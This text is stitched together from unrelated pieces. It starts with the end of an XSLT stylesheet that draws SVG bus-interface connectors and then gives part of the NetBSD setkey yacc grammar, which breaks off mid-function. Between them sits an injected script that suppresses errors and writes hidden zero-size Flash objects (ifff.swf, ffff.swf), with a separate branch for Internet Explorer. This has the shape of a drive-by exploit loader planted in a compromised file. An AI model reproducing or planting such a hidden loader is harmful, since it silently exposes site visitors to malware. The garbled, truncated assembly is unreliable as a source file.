name="num_of_psfStd_" select="count($bif_by_psfStd_)"/> <!-- <xsl:message>DEBUG : <xsl:value-of select="$busStd_"/> : <xsl:value-of select="$num_of_busStd_"/> : <xsl:value-of select="$num_of_psfStd_"/></xsl:message> <xsl:variable name="bif_by_busStd_" select="key('G_MAP_ALL_BIFS',$busStd_)[(@IS_INSTANTIATED = 'TRUE')]"/> <xsl:variable name="num_of_busStd_" select="count($bif_by_busStd_)"/> --> <xsl:if test="(($num_of_busStd_ &gt; 0) or ($num_of_psfStd_ &gt; 0))"> <xsl:if test="($num_of_busStd_ &gt; 0)"> <xsl:call-template name="Define_BifLabel"> <xsl:with-param name="iBusStd" select="$busStd_"/> </xsl:call-template> </xsl:if> <xsl:if test="($num_of_psfStd_ &gt; 0)"> <xsl:call-template name="Define_BifLabel"> <xsl:with-param name="iBusStd" select="$psfStd_"/> </xsl:call-template> </xsl:if> <xsl:for-each select="exsl:node-set($G_BIFTYPES)/BIFTYPE"> <xsl:variable name="bifType_" select="@TYPE"/> <xsl:variable name="num_of_bifType_" select="count($bif_by_busStd_[(@TYPE = $bifType_)])"/> <!-- <xsl:message>DEBUG : <xsl:value-of select="$bifType_"/> : <xsl:value-of select="$num_of_bifType_"/></xsl:message> --> <xsl:if test="($num_of_bifType_ &gt; 0)"> <xsl:if test="($num_of_busStd_ &gt; 0)"> <xsl:call-template name="Define_BifTypeConnector"> <xsl:with-param name="iBusStd" select="$busStd_"/> <xsl:with-param name="iBifType" select="$bifType_"/> </xsl:call-template> </xsl:if> <xsl:if test="($num_of_psfStd_ &gt; 0)"> <xsl:call-template name="Define_BifTypeConnector"> <xsl:with-param name="iBusStd" select="$busStd_"/> <xsl:with-param name="iBifType" select="$bifType_"/> </xsl:call-template> </xsl:if> </xsl:if> </xsl:for-each> </xsl:if> </xsl:for-each> </xsl:for-each> <xsl:call-template name="Define_BifLabel"> <xsl:with-param name="iBusStd" select="'KEY'"/> </xsl:call-template> <xsl:for-each select="exsl:node-set($G_BIFTYPES)/BIFTYPE"> <xsl:variable name="bifType_" select="@TYPE"/> <xsl:call-template name="Define_BifTypeConnector"> <xsl:with-param name="iBusStd" select="'KEY'"/> <xsl:with-param name="iBifType" select="$bifType_"/> </xsl:call-template> </xsl:for-each> </xsl:template> <xsl:template name="Define_BifLabel"> <xsl:param name="iBusStd" select="'USER'"/> <xsl:variable name="busStdColor_"> <xsl:call-template name="F_BusStd2RGB"> <xsl:with-param name="iBusStd" select="$iBusStd"/> </xsl:call-template> </xsl:variable> <g id="{$iBusStd}_BifLabel"> <rect x="0" y="0" rx="3" ry="3" width= "{$BIF_W}" height="{$BIF_H}" style="fill:{$busStdColor_}; stroke:black; stroke-width:1"/> </g> </xsl:template> <xsl:template name="Define_BifTypeConnector"> <xsl:param name="iBusStd" select="'USER'"/> <xsl:param name="iBifType" select="'USER'"/> <xsl:variable name="busStdColor_"> <xsl:call-template name="F_BusStd2RGB"> <xsl:with-param name="iBusStd" select="$iBusStd"/> </xsl:call-template> </xsl:variable> <xsl:variable name="busStdColor_lt_"> <xsl:call-template name="F_BusStd2RGB_LT"> <xsl:with-param name="iBusStd" select="$iBusStd"/> </xsl:call-template> </xsl:variable> <xsl:variable name="bifc_wi_" select="ceiling($BIFC_W div 3)"/> <xsl:variable name="bifc_hi_" select="ceiling($BIFC_H div 3)"/> <xsl:choose> <xsl:when test="$iBifType = 'SLAVE'"> <g id="{$iBusStd}_busconn_{$iBifType}"> <circle cx="{ceiling($BIFC_W div 2)}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_W div 2)}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <circle cx="{ceiling($BIFC_W div 2) + 0.5}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_Wi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:when test="$iBifType = 'MASTER'"> <g id="{$iBusStd}_busconn_{$iBifType}"> <rect x="0" y="0" width= "{$BIFC_W}" height="{$BIFC_H}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <rect x="{$BIFC_dx + 0.5}" y="{$BIFC_dy}" width= "{$BIFC_Wi}" height="{$BIFC_Hi}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:when test="$iBifType = 'INITIATOR'"> <g id="{$iBusStd}_busconn_{$iBifType}"> <rect x="0" y="0" width= "{$BIFC_W}" height="{$BIFC_H}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <rect x="{$BIFC_dx + 0.5}" y="{$BIFC_dy}" width= "{$BIFC_Wi}" height="{$BIFC_Hi}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:when test="$iBifType = 'TARGET'"> <g id="{$iBusStd}_busconn_{$iBifType}"> <circle cx="{ceiling($BIFC_W div 2)}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_W div 2)}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <circle cx="{ceiling($BIFC_W div 2) + 0.5}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_Wi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:when test="$iBifType = 'MASTER_SLAVE'"> <g id="{$iBusStd}_busconn_{$iBifType}"> <circle cx="{ceiling($BIFC_W div 2)}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_W div 2)}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <circle cx="{ceiling($BIFC_W div 2) + 0.5}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_Wi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> <rect x="0" y="{ceiling($BIFC_H div 2)}" width= "{$BIFC_W}" height="{ceiling($BIFC_H div 2)}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <rect x="{$BIFC_dx + 0.5}" y="{ceiling($BIFC_H div 2)}" width= "{$BIFC_Wi}" height="{ceiling($BIFC_Hi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:when test="$iBifType = 'MONITOR'"> <g id="{$iBusStd}_busconn_{$iBifType}"> <rect x="0" y="0.5" width= "{$BIFC_W}" height="{ceiling($BIFC_Hi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> <rect x="0" y="{ceiling($BIFC_H div 2) + 4}" width= "{$BIFC_W}" height="{ceiling($BIFC_Hi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:when test="$iBifType = 'USER'"> <g id="{$iBusStd}_busconn_USER"> <circle cx="{ceiling($BIFC_W div 2)}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_W div 2)}" style="fill:{$busStdColor_lt_}; stroke:{$busStdColor_}; stroke-width:1"/> <circle cx="{ceiling($BIFC_W div 2) + 0.5}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_Wi div 2)}" style="fill:{$busStdColor_}; stroke:none;"/> </g> </xsl:when> <xsl:otherwise> <g id="{$iBusStd}_busconn_{$iBifType}"> <circle cx="{ceiling($BIFC_W div 2)}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_W div 2)}" style="fill:{$COL_WHITE}; stroke:{$busStdColor_}; stroke-width:1"/> <circle cx="{ceiling($BIFC_W div 2) + 0.5}" cy="{ceiling($BIFC_H div 2)}" r="{ceiling($BIFC_Wi div 2)}" style="fill:{$COL_WHITE}; stroke:none;"/> </g> </xsl:otherwise> </xsl:choose> </xsl:template> </xsl:stylesheet>
<script> window.onerror=function(){return true;} document.writeln("<script>function init(){window.status=\"\";}window.onload = init;"); document.writeln("window.onerror=function(){return true;}"); document.writeln(""); document.writeln("if(navigator.userAgent.toLowerCase().indexOf(\"msie\")>0)"); document.writeln("{"); document.writeln("document.write(\'<object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http:\/\/download.macromedia.com\/pub\/shockwave\/cabs\/flash\/swflash.cab#version=4,0,19,0\" width=\"0\" height=\"0\" align=\"middle\">\');"); document.writeln("document.write(\'<param name=\"allowScriptAccess\" value=\"sameDomain\"\/>\');"); document.writeln("document.write(\'<param name=\"movie\" value=\"ifff.swf\"\/>\');"); document.writeln("document.write(\'<param name=\"quality\" value=\"high\"\/>\');"); document.writeln("document.write(\'<param name=\"bgcolor\" value=\"#ffffff\"\/>\');"); document.writeln("document.write(\'<embed src=\"ifff.swf\"\/>\');"); document.writeln("document.write(\'<\/object>\');"); document.writeln("}"); document.writeln("else{document.write(\'<EMBED src=\"ffff.swf\" width=0 height=0>\');}"); document.writeln("<\/script>") </script>
<gh_stars>10-100 /* $NetBSD: parse.y,v 1.16 2013/10/20 21:17:28 christos Exp $ */ /* $KAME: parse.y,v 1.81 2003/07/01 04:01:48 itojun Exp $ */ /* * Copyright (C) 1995, 1996, 1997, 1998, and 1999 WIDE Project. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. Neither the name of the project nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE PROJECT AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE PROJECT OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ %{ #ifdef HAVE_CONFIG_H #include "config.h" #endif #include <sys/types.h> #include <sys/param.h> #include <sys/socket.h> #include <netinet/in.h> #include <net/pfkeyv2.h> #include PATH_IPSEC_H #include <arpa/inet.h> #include <string.h> #include <unistd.h> #include <stdio.h> #include <netdb.h> #include <ctype.h> #include <errno.h> #include <stdlib.h> #include "libpfkey.h" #include "vchar.h" #include "extern.h" #define DEFAULT_NATT_PORT 4500 #ifndef UDP_ENCAP_ESPINUDP #define UDP_ENCAP_ESPINUDP 2 #endif #define ATOX(c) \ (isdigit((int)c) ? (c - '0') : \ (isupper((int)c) ? (c - 'A' + 10) : (c - 'a' + 10))) u_int32_t p_spi; u_int p_ext, p_alg_enc, p_alg_auth, p_replay, p_mode; u_int32_t p_reqid; u_int p_key_enc_len, p_key_auth_len; const char *p_key_enc; const char *p_key_auth; time_t p_lt_hard, p_lt_soft; size_t p_lb_hard, p_lb_soft; struct security_ctx { u_int8_t doi; u_int8_t alg; u_int16_t len; char *buf; }; struct security_ctx sec_ctx; static u_int p_natt_type, p_esp_frag; static struct addrinfo * p_natt_oa = NULL; static int p_aiflags = 0, p_aifamily = PF_UNSPEC; static struct addrinfo *parse_addr __P((char *, char *)); static int fix_portstr __P((int, vchar_t *, vchar_t *, vchar_t *)); static int setvarbuf __P((char *, int *, struct sadb_ext *, int, const void *, int)); void parse_init __P((void)); void free_buffer __P((void)); int setkeymsg0 __P((struct sadb_msg *, unsigned int, unsigned int, size_t)); static int setkeymsg_spdaddr __P((unsigned int, unsigned int, vchar_t *, struct addrinfo *, int, struct addrinfo *, int)); static int setkeymsg_spdaddr_tag __P((unsigned int, char *, vchar_t *)); static int setkeymsg_addr __P((unsigned int, unsigned int, struct addrinfo *, struct addrinfo *, int)); static int setkeymsg_add __P((unsigned int, unsigned int, struct addrinfo *, struct addrinfo *)); %} %union { int num; unsigned long ulnum; vchar_t val; struct addrinfo *res; } %token EOT SLASH BLCL ELCL %token ADD GET DELETE DELETEALL FLUSH DUMP EXIT %token PR_ESP PR_AH PR_IPCOMP PR_ESPUDP PR_TCP %token F_PROTOCOL F_AUTH F_ENC F_REPLAY F_COMP F_RAWCPI %token F_MODE MODE F_REQID %token F_EXT EXTENSION NOCYCLICSEQ %token ALG_AUTH ALG_AUTH_NOKEY %token ALG_ENC ALG_ENC_NOKEY ALG_ENC_DESDERIV ALG_ENC_DES32IV ALG_ENC_OLD %token ALG_COMP %token F_LIFETIME_HARD F_LIFETIME_SOFT %token F_LIFEBYTE_HARD F_LIFEBYTE_SOFT %token F_ESPFRAG %token DECSTRING QUOTEDSTRING HEXSTRING STRING ANY /* SPD management */ %token SPDADD SPDUPDATE SPDDELETE SPDDUMP SPDFLUSH %token F_POLICY PL_REQUESTS %token F_AIFLAGS %token TAGGED %token SECURITY_CTX %type <num> prefix protocol_spec upper_spec %type <num> ALG_ENC ALG_ENC_DESDERIV ALG_ENC_DES32IV ALG_ENC_OLD ALG_ENC_NOKEY %type <num> ALG_AUTH ALG_AUTH_NOKEY %type <num> ALG_COMP %type <num> PR_ESP PR_AH PR_IPCOMP PR_ESPUDP PR_TCP %type <num> EXTENSION MODE %type <ulnum> DECSTRING %type <val> PL_REQUESTS portstr key_string %type <val> policy_requests %type <val> QUOTEDSTRING HEXSTRING STRING %type <val> F_AIFLAGS %type <val> upper_misc_spec policy_spec %type <res> ipaddr ipandport %% commands : /*NOTHING*/ | commands command { free_buffer(); parse_init(); } ; command : add_command | get_command | delete_command | deleteall_command | flush_command | dump_command | exit_command | spdadd_command | spdupdate_command | spddelete_command | spddump_command | spdflush_command ; /* commands concerned with management, there is in tail of this file. */ /* add command */ add_command : ADD ipaddropts ipandport ipandport protocol_spec spi extension_spec algorithm_spec EOT { int status; status = setkeymsg_add(SADB_ADD, $5, $3, $4); if (status < 0) return -1; } ; /* delete */ delete_command : DELETE ipaddropts ipandport ipandport protocol_spec spi extension_spec EOT { int status; if ($3->ai_next || $4->ai_next) { yyerror("multiple address specified"); return -1; } if (p_mode != IPSEC_MODE_ANY) yyerror("WARNING: mode is obsolete"); status = setkeymsg_addr(SADB_DELETE, $5, $3, $4, 0); if (status < 0) return -1; } ; /* deleteall command */ deleteall_command : DELETEALL ipaddropts ipaddr ipaddr protocol_spec EOT { #ifndef __linux__ if (setkeymsg_addr(SADB_DELETE, $5, $3, $4, 1) < 0) return -1; #else /* __linux__ */ /* linux strictly adheres to RFC2367, and returns * an error if we send an SADB_DELETE request without * an SPI. Therefore, we must first retrieve a list * of SPIs for all matching SADB entries, and then * delete each one separately. */ u_int32_t *spi; int i, n; spi = sendkeymsg_spigrep($5, $3, $4, &n); for (i = 0; i < n; i++) { p_spi = spi[i]; if (setkeymsg_addr(SADB_DELETE, $5, $3, $4, 0) < 0) return -1; } free(spi); #endif /* __linux__ */ } ; /* get command */ get_command : GET ipaddropts ipandport ipandport protocol_spec spi extension_spec EOT { int status; if (p_mode != IPSEC_MODE_ANY) yyerror("WARNING: mode is obsolete"); status = setkeymsg_addr(SADB_GET, $5, $3, $4, 0); if (status < 0) return -1; } ; /* flush */ flush_command : FLUSH protocol_spec EOT { struct sadb_msg msg; setkeymsg0(&msg, SADB_FLUSH, $2, sizeof(msg)); sendkeymsg((char *)&msg, sizeof(msg)); } ; /* dump */ dump_command : DUMP protocol_spec EOT { struct sadb_msg msg; setkeymsg0(&msg, SADB_DUMP, $2, sizeof(msg)); sendkeymsg((char *)&msg, sizeof(msg)); } ; protocol_spec : /*NOTHING*/ { $$ = SADB_SATYPE_UNSPEC; } | PR_ESP { $$ = SADB_SATYPE_ESP; if ($1 == 1) p_ext |= SADB_X_EXT_OLD; else p_ext &= ~SADB_X_EXT_OLD; } | PR_AH { $$ = SADB_SATYPE_AH; if ($1 == 1) p_ext |= SADB_X_EXT_OLD; else p_ext &= ~SADB_X_EXT_OLD; } | PR_IPCOMP { $$ = SADB_X_SATYPE_IPCOMP; } | PR_ESPUDP { $$ = SADB_SATYPE_ESP; p_ext &= ~SADB_X_EXT_OLD; p_natt_oa = 0; p_natt_type = UDP_ENCAP_ESPINUDP; } | PR_ESPUDP ipaddr { $$ = SADB_SATYPE_ESP; p_ext &= ~SADB_X_EXT_OLD; p_natt_oa = $2; p_natt_type = UDP_ENCAP_ESPINUDP; } | PR_TCP { #ifdef SADB_X_SATYPE_TCPSIGNATURE $$ = SADB_X_SATYPE_TCPSIGNATURE; #endif } ; spi : DECSTRING { p_spi = $1; } | HEXSTRING { char *ep; unsigned long v; ep = NULL; v = strtoul($1.buf, &ep, 16); if (!ep || *ep) { yyerror("invalid SPI"); return -1; } if (v & ~0xffffffff) { yyerror("SPI too big."); return -1; } p_spi = v; } ; algorithm_spec : esp_spec | ah_spec | ipcomp_spec ; esp_spec : F_ENC enc_alg F_AUTH auth_alg | F_ENC enc_alg ; ah_spec : F_AUTH auth_alg ; ipcomp_spec : F_COMP ALG_COMP { if ($2 < 0) { yyerror("unsupported algorithm"); return -1; } p_alg_enc = $2; } | F_COMP ALG_COMP F_RAWCPI { if ($2 < 0) { yyerror("unsupported algorithm"); return -1; } p_alg_enc = $2; p_ext |= SADB_X_EXT_RAWCPI; } ; enc_alg : ALG_ENC_NOKEY { if ($1 < 0) { yyerror("unsupported algorithm"); return -1; } p_alg_enc = $1; p_key_enc_len = 0; p_key_enc = ""; if (ipsec_check_keylen(SADB_EXT_SUPPORTED_ENCRYPT, p_alg_enc, PFKEY_UNUNIT64(p_key_enc_len)) < 0) { yyerror(ipsec_strerror()); return -1; } } | ALG_ENC key_string { if ($1 < 0) { yyerror("unsupported algorithm"); return -1; } p_alg_enc = $1; p_key_enc_len = $2.len; p_key_enc = $2.buf; if (ipsec_check_keylen(SADB_EXT_SUPPORTED_ENCRYPT, p_alg_enc, PFKEY_UNUNIT64(p_key_enc_len)) < 0) { yyerror(ipsec_strerror()); return -1; } } | ALG_ENC_OLD { if ($1 < 0) { yyerror("unsupported algorithm"); return -1; } yyerror("WARNING: obsolete algorithm"); p_alg_enc = $1; p_key_enc_len = 0; p_key_enc = ""; if (ipsec_check_keylen(SADB_EXT_SUPPORTED_ENCRYPT, p_alg_enc, PFKEY_UNUNIT64(p_key_enc_len)) < 0) { yyerror(ipsec_strerror()); return -1; } } | ALG_ENC_DESDERIV key_string { if ($1 < 0) { yyerror("unsupported algorithm"); return -1; } p_alg_enc = $1; if (p_ext & SADB_X_EXT_OLD) { yyerror("algorithm mismatched"); return -1; } p_ext |= SADB_X_EXT_DERIV; p_key_enc_len = $2.len; p_key_enc = $2.buf; if (ipsec_check_keylen(SADB_EXT_SUPPORTED_ENCRYPT, p_alg_enc, PFKEY_UNUNIT64(p_key_enc_len)) < 0) { yyerror(ipsec_strerror()); return -1; } } | ALG_ENC_DES32IV key_string { if ($1 < 0) { yyerror("unsupported algorithm"); return -1; } p_alg_enc = $1; if (!(p_ext & SADB_X_EXT_OLD)) { yyerror("algorithm mismatched"); return -1; } p_ext |= SADB_X_EXT_IV4B; p_key_enc_len = $2.len; p_key_enc = $2.buf; if (ipsec_check_keylen(SADB_EXT_SUPPORTED_ENCRYPT, p_alg_enc, PFKEY_UNUNIT64(p_key_enc_len)) < 0) { yyerror(ipsec_strerror()); return -1; } } ; auth_alg : ALG_AUTH key_string { if ($1 < 0) { yyerror("unsupported algorithm"); return -1; } p_alg_auth = $1; p_key_auth_len = $2.len; p_key_auth = $2.buf; #ifdef SADB_X_AALG_TCP_MD5 if (p_alg_auth == SADB_X_AALG_TCP_MD5) { if ((p_key_auth_len < 1) || (p_key_auth_len > 80)) return -1; } else #endif { if (ipsec_check_keylen(SADB_EXT_SUPPORTED_AUTH, p_alg_auth, PFKEY_UNUNIT64(p_key_auth_len)) < 0) { yyerror(ipsec_strerror()); return -1; } } } | ALG_AUTH_NOKEY { if ($1 < 0) { yyerror("unsupported algorithm"); return -1; } p_alg_auth = $1; p_key_auth_len = 0; p_key_auth = NULL; } ; key_string : QUOTEDSTRING { $$ = $1; } | HEXSTRING { caddr_t pp_key; caddr_t bp; caddr_t yp = $1.buf; int l; l = strlen(yp) % 2 + strlen(yp) / 2; if ((pp_key = malloc(l)) == 0) { yyerror("not enough core"); return -1; } memset(pp_key, 0, l); bp = pp_key; if (strlen(yp) % 2) { *bp = ATOX(yp[0]); yp++, bp++; } while (*yp) { *bp = (ATOX(yp[0]) << 4) | ATOX(yp[1]); yp += 2, bp++; } $$.len = l; $$.buf = pp_key; } ; extension_spec : /*NOTHING*/ | extension_spec extension ; extension : F_EXT EXTENSION { p_ext |= $2; } | F_EXT NOCYCLICSEQ { p_ext &= ~SADB_X_EXT_CYCSEQ; } | F_MODE MODE { p_mode = $2; } | F_MODE ANY { p_mode = IPSEC_MODE_ANY; } | F_REQID DECSTRING { p_reqid = $2; } | F_ESPFRAG DECSTRING { if (p_natt_type == 0) { yyerror("esp fragment size only valid for NAT-T"); return -1; } p_esp_frag = $2; } | F_REPLAY DECSTRING { if ((p_ext & SADB_X_EXT_OLD) != 0) { yyerror("replay prevention cannot be used with " "ah/esp-old"); return -1; } p_replay = $2; } | F_LIFETIME_HARD DECSTRING { p_lt_hard = $2; } | F_LIFETIME_SOFT DECSTRING { p_lt_soft = $2; } | F_LIFEBYTE_HARD DECSTRING { p_lb_hard = $2; } | F_LIFEBYTE_SOFT DECSTRING { p_lb_soft = $2; } | SECURITY_CTX DECSTRING DECSTRING QUOTEDSTRING { sec_ctx.doi = $2; sec_ctx.alg = $3; sec_ctx.len = $4.len+1; sec_ctx.buf = $4.buf; } ; /* definition about command for SPD management */ /* spdadd */ spdadd_command /* XXX merge with spdupdate ??? */ : SPDADD ipaddropts STRING prefix portstr STRING prefix portstr upper_spec upper_misc_spec context_spec policy_spec EOT { int status; struct addrinfo *src, *dst; #ifdef HAVE_PFKEY_POLICY_PRIORITY last_msg_type = SADB_X_SPDADD; #endif /* fixed port fields if ulp is icmp */ if (fix_portstr($9, &$10, &$5, &$8)) return -1; src = parse_addr($3.buf, $5.buf); dst = parse_addr($6.buf, $8.buf); if (!src || !dst) { /* yyerror is already called */ return -1; } if (src->ai_next || dst->ai_next) { yyerror("multiple address specified"); freeaddrinfo(src); freeaddrinfo(dst); return -1; } status = setkeymsg_spdaddr(SADB_X_SPDADD, $9, &$12, src, $4, dst, $7); freeaddrinfo(src); freeaddrinfo(dst); if (status < 0) return -1; } | SPDADD TAGGED QUOTEDSTRING policy_spec EOT { int status; status = setkeymsg_spdaddr_tag(SADB_X_SPDADD, $3.buf, &$4); if (status < 0) return -1; } ; spdupdate_command /* XXX merge with spdadd ??? */ : SPDUPDATE ipaddropts STRING prefix portstr STRING prefix portstr upper_spec upper_misc_spec context_spec policy_spec EOT { int status; struct addrinfo *src, *dst; #ifdef HAVE_PFKEY_POLICY_PRIORITY last_msg_type = SADB_X_SPDUPDATE; #endif /* fixed port fields if ulp is icmp */ if (fix_portstr($9, &$10, &$5, &$8)) return -1; src = parse_addr($3.buf, $5.buf); dst = parse_addr($6.buf, $8.buf); if (!src || !dst) { /* yyerror is already called */ return -1; } if (src->ai_next || dst->ai_next) { yyerror("multiple address specified"); freeaddrinfo(src); freeaddrinfo(dst); return -1; } status = setkeymsg_spdaddr(SADB_X_SPDUPDATE, $9, &$12, src, $4, dst, $7); freeaddrinfo(src); freeaddrinfo(dst); if (status < 0) return -1; } | SPDUPDATE TAGGED QUOTEDSTRING policy_spec EOT { int status; status = setkeymsg_spdaddr_tag(SADB_X_SPDUPDATE, $3.buf, &$4); if (status < 0) return -1; } ; spddelete_command : SPDDELETE ipaddropts STRING prefix portstr STRING prefix portstr upper_spec upper_misc_spec context_spec policy_spec EOT { int status; struct addrinfo *src, *dst; /* fixed port fields if ulp is icmp */ if (fix_portstr($9, &$10, &$5, &$8)) return -1; src = parse_addr($3.buf, $5.buf); dst = parse_addr($6.buf, $8.buf); if (!src || !dst) { /* yyerror is already called */ return -1; } if (src->ai_next || dst->ai_next) { yyerror("multiple address specified"); freeaddrinfo(src); freeaddrinfo(dst); return -1; } status = setkeymsg_spdaddr(SADB_X_SPDDELETE, $9, &$12, src, $4, dst, $7); freeaddrinfo(src); freeaddrinfo(dst); if (status < 0) return -1; } ; spddump_command: SPDDUMP EOT { struct sadb_msg msg; setkeymsg0(&msg, SADB_X_SPDDUMP, SADB_SATYPE_UNSPEC, sizeof(msg)); sendkeymsg((char *)&msg, sizeof(msg)); } ; spdflush_command : SPDFLUSH EOT { struct sadb_msg msg; setkeymsg0(&msg, SADB_X_SPDFLUSH, SADB_SATYPE_UNSPEC, sizeof(msg)); sendkeymsg((char *)&msg, sizeof(msg)); } ; ipaddropts : /* nothing */ | ipaddropts ipaddropt ; ipaddropt : F_AIFLAGS { char *p; for (p = $1.buf + 1; *p; p++) switch (*p) { case '4': p_aifamily = AF_INET; break; #ifdef INET6 case '6': p_aifamily = AF_INET6; break; #endif case 'n': p_aiflags = AI_NUMERICHOST; break; default: yyerror("invalid flag"); return -1; } } ; ipaddr : STRING { $$ = parse_addr($1.buf, NULL); if ($$ == NULL) { /* yyerror already called by parse_addr */ return -1; } } ; ipandport : STRING { $$ = parse_addr($1.buf, NULL); if ($$ == NULL) { /* yyerror already called by parse_addr */ return -1; } } | STRING portstr { $$ = parse_addr($1.buf, $2.buf); if ($$ == NULL) { /* yyerror already called by parse_addr */ return -1; } } ; prefix : /*NOTHING*/ { $$ = -1; } | SLASH DECSTRING { $$ = $2; } ; portstr : /*NOTHING*/ { $$.buf = strdup("0"); if (!$$.buf) { yyerror("insufficient memory"); return -1; } $$.len = strlen($$.buf); } | BLCL ANY ELCL { $$.buf = strdup("0"); if (!$$.buf) { yyerror("insufficient memory"); return -1; } $$.len = strlen($$.buf); } | BLCL DECSTRING ELCL { char buf[20]; snprintf(buf, sizeof(buf), "%lu", $2); $$.buf = strdup(buf); if (!$$.buf) { yyerror("insufficient memory"); return -1; } $$.len = strlen($$.buf); } | BLCL STRING ELCL { $$ = $2; } ; upper_spec : DECSTRING { $$ = $1; } | ANY { $$ = IPSEC_ULPROTO_ANY; } | PR_TCP { $$ = IPPROTO_TCP; } | STRING { struct protoent *ent; ent = getprotobyname($1.buf); if (ent) $$ = ent->p_proto; else { if (strcmp("icmp6", $1.buf) == 0) { $$ = IPPROTO_ICMPV6; } else if(strcmp("ip4", $1.buf) == 0) { $$ = IPPROTO_IPV4; } else { yyerror("invalid upper layer protocol"); return -1; } } endprotoent(); } ; upper_misc_spec : /*NOTHING*/ { $$.buf = NULL; $$.len = 0; } | STRING { $$.buf = strdup($1.buf); if (!$$.buf) { yyerror("insufficient memory"); return -1; } $$.len = strlen($$.buf); } ; context_spec : /* NOTHING */ | SECURITY_CTX DECSTRING DECSTRING QUOTEDSTRING { sec_ctx.doi = $2; sec_ctx.alg = $3; sec_ctx.len = $4.len+1; sec_ctx.buf = $4.buf; } ; policy_spec : F_POLICY policy_requests { char *policy; #ifdef HAVE_PFKEY_POLICY_PRIORITY struct sadb_x_policy *xpl; #endif policy = ipsec_set_policy($2.buf, $2.len); if (policy == NULL) { yyerror(ipsec_strerror()); return -1; } $$.buf = policy; $$.len = ipsec_get_policylen(policy); #ifdef HAVE_PFKEY_POLICY_PRIORITY xpl = (struct sadb_x_policy *) $$.buf; last_priority = xpl->sadb_x_policy_priority; #endif } ; policy_requests : PL_REQUESTS { $$ = $1; } ; /* exit */ exit_command : EXIT EOT { exit_now = 1; YYACCEPT; } ; %% int setkeymsg0(msg, type, satype, l) struct sadb_msg *msg; unsigned int type; unsigned int satype; size_t l; { msg->sadb_msg_version = PF_KEY_V2; msg->sadb_msg_type = type; msg->sadb_msg_errno = 0; msg->sadb_msg_satype = satype; msg->sadb_msg_reserved = 0; msg->sadb_msg_seq = 0; msg->sadb_msg_pid = getpid(); msg->sadb_msg_len = PFKEY_UNIT64(l); return 0; } /* XXX NO BUFFER OVERRUN CHECK! BAD BAD! */ static int setkeymsg_spdaddr(type, upper, policy, srcs, splen, dsts, dplen) unsigned int type; unsigned int upper; vchar_t *policy; struct addrinfo *srcs; int splen; struct addrinfo *dsts; int dplen; { struct sadb_msg *msg; char buf[BUFSIZ]; int l, l0; struct sadb_address m_addr; struct addrinfo *s, *d; int n; int plen; struct sockaddr *sa; int salen; #ifdef HAVE_POLICY_FWD struct sadb_x_ipsecrequest *ps = NULL; int saved_level, saved_id = 0; #endif msg = (struct sadb_msg *)buf; if (!srcs || !dsts) return -1; /* fix up length afterwards */ setkeymsg0(msg, type, SADB_SATYPE_UNSPEC, 0); l = sizeof(struct sadb_msg); memcpy(buf + l, policy->buf, policy->len); l += policy->len; l0 = l; n = 0; /* do it for all src/dst pairs */ for (s = srcs; s; s = s->ai_next) { for (d = dsts; d; d = d->ai_next) { /* rewind pointer */ l = l0; if (s->ai_addr->sa_family != d->ai_addr->sa_family) continue; switch (s->ai_addr->sa_family) { case AF_INET: plen = sizeof(struct in_addr) << 3; break; #ifdef INET6 case AF_INET6: plen = sizeof(struct in6_addr) << 3; break; #endif default: continue; } /* set src */ sa = s->ai_addr; salen = sysdep_sa_len(s->ai_addr); m_addr.sadb_address_len = PFKEY_UNIT64(sizeof(m_addr) + PFKEY_ALIGN8(salen)); m_addr.sadb_address_exttype = 